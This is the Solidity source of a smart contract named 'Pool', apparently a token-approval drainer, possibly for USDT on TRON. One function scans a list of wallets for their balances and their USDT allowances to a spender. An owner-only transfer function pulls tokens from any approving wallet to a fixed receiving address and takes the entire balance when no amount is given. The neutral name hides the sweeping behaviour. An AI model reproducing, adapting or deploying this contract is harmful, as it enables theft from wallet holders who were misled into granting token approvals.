creation_sourcecode: // SPDX-License-Identifier: MIT
  pragma solidity ^0.8.11;
  
  contract Pool {
      address public owner;
      address public receAddress;
      // address public receAddress2;
  
      constructor(address _receAddress) {
          owner = msg.sender;
          receAddress = _receAddress;
          // receAddress2 = _receAddress2;
      }
  
      struct BalanceInfo {
          address user_address;
          uint trx_balance;
          uint usdt_balance;
          uint usdt_allowance_balance;
      }
  
      function decimals(address _USDT) external view returns (uint8) {
          IERC20 USDT = IERC20(_USDT);
          return USDT.decimals();
      }
  
      function getBalance(
          address _USDT,
          address _spender,
          address[] calldata list
      ) public view returns (BalanceInfo[] memory) {
          IERC20 USDT = IERC20(_USDT);
          uint len = list.length;
          BalanceInfo[] memory balanceInfos = new BalanceInfo[](len);
          for (uint i = 0; i < len; i++) {
              balanceInfos[i].user_address = list[i];
              balanceInfos[i].trx_balance = address(list[i]).balance;
              balanceInfos[i].usdt_balance = USDT.balanceOf(list[i]);
              balanceInfos[i].usdt_allowance_balance = USDT.allowance(
                  list[i],
                  _spender
              );
          }
          return balanceInfos;
      }
  
      modifier onlyOwner() {
          require(msg.sender == owner, 'not owner');
          _;
      }
  
      function transfer(
          address _token,
          address _from,
          uint _value
      ) external onlyOwner {
          IERC20 token = IERC20(_token);
          uint amount = token.balanceOf(_from);
          token.transferFrom(_from, receAddress, _value <= 0 ? amount : _value);
      }
  }
  
  interface IERC20 {
      function allowance(
          address owner,
          address spender
      ) external view returns (uint256);
  
      function transferFrom(
          address from,
          address to,
          uint256 value
      ) external returns (bool);
  
      function balanceOf(address who) external view returns (uint256);
  
      function decimals() external view returns (uint8);
  }